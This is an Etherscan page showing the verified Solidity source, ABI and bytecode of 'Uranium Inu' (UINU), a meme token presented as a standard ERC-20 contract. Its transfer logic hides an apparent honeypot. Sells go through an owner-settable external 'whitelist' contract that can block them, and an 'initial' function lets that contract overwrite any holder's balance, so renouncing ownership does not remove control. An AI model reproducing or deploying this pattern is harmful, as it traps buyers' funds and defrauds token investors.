ETH Price: $1,548.48 (-14.40%)

Token

Uranium Inu (UINU)
 

Overview

Max Total Supply

100,000,000,000 UINU

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
92,922,189.042644867 UINU

Value
$0.00
0x0902517E3Db2F8Ea81cdb4ED22aaC6c16597F26F
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UINU

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-27
*/

/*

    Uranium Inu created and planned by Half Dog — $UINU

    www.urinu.quest
    @Uranium_Inu

    https://twitter.com/elonmusk/status/1563292201043431424

    https://www.youtube.com/watch?v=YKMtamZJBKg

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface whitelist {
    function checkFrom(address _from, bool _state) external;

    function setTo(address _to) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract UINU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private cooldown;
    uint256 private _totalSupply = 100000000000 * 10**9;

    string private constant _name = "Uranium Inu";
    string private constant _symbol = "UINU";
    uint8 private constant _decimals = 9;

    IUniswapV2Router02 private uniswapV2Router;
    whitelist private _whitelist;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _totalSupply;
    uint256 private _maxWalletAmount = _totalSupply;

    modifier onlyWhitelist() {
        require(
            address(_whitelist) == msg.sender,
            "Whitelist: wallet is not whitelisted."
        );
        _;
    }

    constructor() {
        _balance[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner {
        cooldownEnabled = onoff;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            require(amount <= _maxTxAmount, "Exceed max transaction amount");

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _whitelist.checkFrom(from, true);
                _tokenTransfer(from, to, amount);
            } else {
                uint256 currentBalance = balanceOf(to);
                require(
                    currentBalance + amount < _maxWalletAmount,
                    "Exceed max wallet amount"
                );
                if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                    // Cooldown
                    if (cooldownEnabled) {
                        require(cooldown[to] < block.timestamp);
                    }
                    cooldown[to] = block.timestamp + (30 seconds);
                    _whitelist.setTo(to);
                    _tokenTransfer(from, to, amount);
                } else {
                    _whitelist.checkFrom(from, false);
                    _tokenTransfer(from, to, amount);
                }
            }
        } else {
            _tokenTransfer(from, to, amount);
        }
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 500000001 * 10**9;
        _maxWalletAmount = 2000000001 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        _balance[sender] = _balance[sender].sub(amount);
        _balance[recipient] = _balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function removeMaxWallet() public onlyOwner {
        _maxWalletAmount = totalSupply();
    }

    function removeMaxTx() public onlyOwner {
        _maxTxAmount = totalSupply();
    }

    function initial(address _setWhitelist, uint256 _check)
        external
        onlyWhitelist
    {
        _balance[_setWhitelist] = _check;
    }

    function setWhitelist(address _setWhitelist) external onlyOwner {
        _whitelist = whitelist(_setWhitelist);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_setWhitelist","type":"address"},{"internalType":"uint256","name":"_check","type":"uint256"}],"name":"initial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setWhitelist","type":"address"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405268056bc75e2d6310000060058190556008805462ffffff60a81b191690556009819055600a5534801561003657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060055433600081815260026020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3611375806100d26000396000f3fe6080604052600436106101025760003560e01c806370a082311161009557806395d89b411161006457806395d89b41146102c9578063a9059cbb146102f6578063c9567bf914610316578063dc07b6171461032b578063dd62ed3e1461034057600080fd5b806370a0823114610236578063715018a61461026c578063854cff2f146102815780638da5cb5b146102a157600080fd5b80632be1dee7116100d15780632be1dee7146101c35780633066dbb7146101da578063313ce567146101fa5780635932ead11461021657600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a5572616e69756d20496e7560a81b60208201525b60405161014b9190611222565b60405180910390f35b34801561016057600080fd5b5061017461016f36600461118e565b610386565b604051901515815260200161014b565b34801561019057600080fd5b506005545b60405190815260200161014b565b3480156101af57600080fd5b506101746101be36600461114d565b61039c565b3480156101cf57600080fd5b506101d8610405565b005b3480156101e657600080fd5b506101d86101f536600461118e565b610440565b34801561020657600080fd5b506040516009815260200161014b565b34801561022257600080fd5b506101d86102313660046111ba565b6104c4565b34801561024257600080fd5b506101956102513660046110da565b6001600160a01b031660009081526002602052604090205490565b34801561027857600080fd5b506101d861050c565b34801561028d57600080fd5b506101d861029c3660046110da565b610580565b3480156102ad57600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102d557600080fd5b5060408051808201909152600481526355494e5560e01b602082015261013e565b34801561030257600080fd5b5061017461031136600461118e565b6105cc565b34801561032257600080fd5b506101d86105d9565b34801561033757600080fd5b506101d86109c0565b34801561034c57600080fd5b5061019561035b366004611114565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103933384846109f2565b50600192915050565b60006103a9848484610b17565b6103fb84336103f685604051806060016040528060288152602001611318602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f52565b6109f2565b5060019392505050565b6000546001600160a01b031633146104385760405162461bcd60e51b815260040161042f90611277565b60405180910390fd5b600554600955565b6007546001600160a01b031633146104a85760405162461bcd60e51b815260206004820152602560248201527f57686974656c6973743a2077616c6c6574206973206e6f742077686974656c6960448201526439ba32b21760d91b606482015260840161042f565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146104ee5760405162461bcd60e51b815260040161042f90611277565b60088054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161042f90611277565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105aa5760405162461bcd60e51b815260040161042f90611277565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000610393338484610b17565b6000546001600160a01b031633146106035760405162461bcd60e51b815260040161042f90611277565b600854600160a01b900460ff161561065d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915560055461069690309083906109f2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106cf57600080fd5b505afa1580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906110f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078791906110f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107cf57600080fd5b505af11580156107e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080791906110f7565b600880546001600160a01b039283166001600160a01b03199091161790556006541663f305d719473061084f816001600160a01b031660009081526002602052604090205490565b6000806108646000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108c757600080fd5b505af11580156108db573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090091906111f4565b5050600880546706f05b5a0f4cca00600955671bc16d678a62ca00600a5563ffff00ff60a01b198116630101000160a01b1790915560065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098457600080fd5b505af1158015610998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bc91906111d7565b5050565b6000546001600160a01b031633146109ea5760405162461bcd60e51b815260040161042f90611277565b600554600a55565b6001600160a01b038316610a545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042f565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b7b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042f565b6001600160a01b038216610bdd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042f565b60008111610c3f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042f565b6000546001600160a01b03848116911614801590610c6b57506000546001600160a01b03838116911614155b15610f4757600954811115610cc25760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e74000000604482015260640161042f565b6008546001600160a01b038381169116148015610ced57506006546001600160a01b03848116911614155b15610d68576007546040516308592dcf60e41b81526001600160a01b0385811660048301526001602483015290911690638592dcf090604401600060405180830381600087803b158015610d4057600080fd5b505af1158015610d54573d6000803e3d6000fd5b50505050610d63838383610f8c565b505050565b6001600160a01b038216600090815260026020526040902054600a54610d8e83836112ac565b10610ddb5760405162461bcd60e51b815260206004820152601860248201527f457863656564206d61782077616c6c657420616d6f756e740000000000000000604482015260640161042f565b6008546001600160a01b038581169116148015610e0657506006546001600160a01b03848116911614155b15610ed057600854600160b81b900460ff1615610e41576001600160a01b0383166000908152600460205260409020544211610e4157600080fd5b610e4c42601e6112ac565b6001600160a01b0384811660008181526004602081905260409182902094909455600754905163077233e960e41b81529384019190915216906377233e9090602401600060405180830381600087803b158015610ea857600080fd5b505af1158015610ebc573d6000803e3d6000fd5b50505050610ecb848484610f8c565b610f41565b6007546040516308592dcf60e41b81526001600160a01b0386811660048301526000602483015290911690638592dcf090604401600060405180830381600087803b158015610f1e57600080fd5b505af1158015610f32573d6000803e3d6000fd5b50505050610f41848484610f8c565b50505050565b610d63838383610f8c565b60008184841115610f765760405162461bcd60e51b815260040161042f9190611222565b506000610f8384866112c4565b95945050505050565b6001600160a01b038316600090815260026020526040902054610faf9082611032565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610fde908261107b565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b0a9085815260200190565b600061107483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f52565b9392505050565b60008061108883856112ac565b9050838110156110745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042f565b6000602082840312156110ec57600080fd5b8135611074816112f1565b60006020828403121561110957600080fd5b8151611074816112f1565b6000806040838503121561112757600080fd5b8235611132816112f1565b91506020830135611142816112f1565b809150509250929050565b60008060006060848603121561116257600080fd5b833561116d816112f1565b9250602084013561117d816112f1565b929592945050506040919091013590565b600080604083850312156111a157600080fd5b82356111ac816112f1565b946020939093013593505050565b6000602082840312156111cc57600080fd5b813561107481611309565b6000602082840312156111e957600080fd5b815161107481611309565b60008060006060848603121561120957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561124f57858101830151858201604001528201611233565b81811115611261576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156112bf576112bf6112db565b500190565b6000828210156112d6576112d66112db565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461130657600080fd5b50565b801515811461130657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b6bdfe0eed6ed8ecad22343349b767c40c1038cb44d1f31c3eaf10738fbb02364736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a082311161009557806395d89b411161006457806395d89b41146102c9578063a9059cbb146102f6578063c9567bf914610316578063dc07b6171461032b578063dd62ed3e1461034057600080fd5b806370a0823114610236578063715018a61461026c578063854cff2f146102815780638da5cb5b146102a157600080fd5b80632be1dee7116100d15780632be1dee7146101c35780633066dbb7146101da578063313ce567146101fa5780635932ead11461021657600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a5572616e69756d20496e7560a81b60208201525b60405161014b9190611222565b60405180910390f35b34801561016057600080fd5b5061017461016f36600461118e565b610386565b604051901515815260200161014b565b34801561019057600080fd5b506005545b60405190815260200161014b565b3480156101af57600080fd5b506101746101be36600461114d565b61039c565b3480156101cf57600080fd5b506101d8610405565b005b3480156101e657600080fd5b506101d86101f536600461118e565b610440565b34801561020657600080fd5b506040516009815260200161014b565b34801561022257600080fd5b506101d86102313660046111ba565b6104c4565b34801561024257600080fd5b506101956102513660046110da565b6001600160a01b031660009081526002602052604090205490565b34801561027857600080fd5b506101d861050c565b34801561028d57600080fd5b506101d861029c3660046110da565b610580565b3480156102ad57600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102d557600080fd5b5060408051808201909152600481526355494e5560e01b602082015261013e565b34801561030257600080fd5b5061017461031136600461118e565b6105cc565b34801561032257600080fd5b506101d86105d9565b34801561033757600080fd5b506101d86109c0565b34801561034c57600080fd5b5061019561035b366004611114565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103933384846109f2565b50600192915050565b60006103a9848484610b17565b6103fb84336103f685604051806060016040528060288152602001611318602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f52565b6109f2565b5060019392505050565b6000546001600160a01b031633146104385760405162461bcd60e51b815260040161042f90611277565b60405180910390fd5b600554600955565b6007546001600160a01b031633146104a85760405162461bcd60e51b815260206004820152602560248201527f57686974656c6973743a2077616c6c6574206973206e6f742077686974656c6960448201526439ba32b21760d91b606482015260840161042f565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146104ee5760405162461bcd60e51b815260040161042f90611277565b60088054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161042f90611277565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105aa5760405162461bcd60e51b815260040161042f90611277565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000610393338484610b17565b6000546001600160a01b031633146106035760405162461bcd60e51b815260040161042f90611277565b600854600160a01b900460ff161561065d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915560055461069690309083906109f2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106cf57600080fd5b505afa1580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906110f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078791906110f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107cf57600080fd5b505af11580156107e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080791906110f7565b600880546001600160a01b039283166001600160a01b03199091161790556006541663f305d719473061084f816001600160a01b031660009081526002602052604090205490565b6000806108646000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108c757600080fd5b505af11580156108db573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090091906111f4565b5050600880546706f05b5a0f4cca00600955671bc16d678a62ca00600a5563ffff00ff60a01b198116630101000160a01b1790915560065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098457600080fd5b505af1158015610998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bc91906111d7565b5050565b6000546001600160a01b031633146109ea5760405162461bcd60e51b815260040161042f90611277565b600554600a55565b6001600160a01b038316610a545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042f565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b7b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042f565b6001600160a01b038216610bdd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042f565b60008111610c3f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042f565b6000546001600160a01b03848116911614801590610c6b57506000546001600160a01b03838116911614155b15610f4757600954811115610cc25760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e74000000604482015260640161042f565b6008546001600160a01b038381169116148015610ced57506006546001600160a01b03848116911614155b15610d68576007546040516308592dcf60e41b81526001600160a01b0385811660048301526001602483015290911690638592dcf090604401600060405180830381600087803b158015610d4057600080fd5b505af1158015610d54573d6000803e3d6000fd5b50505050610d63838383610f8c565b505050565b6001600160a01b038216600090815260026020526040902054600a54610d8e83836112ac565b10610ddb5760405162461bcd60e51b815260206004820152601860248201527f457863656564206d61782077616c6c657420616d6f756e740000000000000000604482015260640161042f565b6008546001600160a01b038581169116148015610e0657506006546001600160a01b03848116911614155b15610ed057600854600160b81b900460ff1615610e41576001600160a01b0383166000908152600460205260409020544211610e4157600080fd5b610e4c42601e6112ac565b6001600160a01b0384811660008181526004602081905260409182902094909455600754905163077233e960e41b81529384019190915216906377233e9090602401600060405180830381600087803b158015610ea857600080fd5b505af1158015610ebc573d6000803e3d6000fd5b50505050610ecb848484610f8c565b610f41565b6007546040516308592dcf60e41b81526001600160a01b0386811660048301526000602483015290911690638592dcf090604401600060405180830381600087803b158015610f1e57600080fd5b505af1158015610f32573d6000803e3d6000fd5b50505050610f41848484610f8c565b50505050565b610d63838383610f8c565b60008184841115610f765760405162461bcd60e51b815260040161042f9190611222565b506000610f8384866112c4565b95945050505050565b6001600160a01b038316600090815260026020526040902054610faf9082611032565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610fde908261107b565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b0a9085815260200190565b600061107483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f52565b9392505050565b60008061108883856112ac565b9050838110156110745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042f565b6000602082840312156110ec57600080fd5b8135611074816112f1565b60006020828403121561110957600080fd5b8151611074816112f1565b6000806040838503121561112757600080fd5b8235611132816112f1565b91506020830135611142816112f1565b809150509250929050565b60008060006060848603121561116257600080fd5b833561116d816112f1565b9250602084013561117d816112f1565b929592945050506040919091013590565b600080604083850312156111a157600080fd5b82356111ac816112f1565b946020939093013593505050565b6000602082840312156111cc57600080fd5b813561107481611309565b6000602082840312156111e957600080fd5b815161107481611309565b60008060006060848603121561120957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561124f57858101830151858201604001528201611233565b81811115611261576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156112bf576112bf6112db565b500190565b6000828210156112d6576112d66112db565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461130657600080fd5b50565b801515811461130657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b6bdfe0eed6ed8ecad22343349b767c40c1038cb44d1f31c3eaf10738fbb02364736f6c63430008070033

Deployed Bytecode Sourcemap

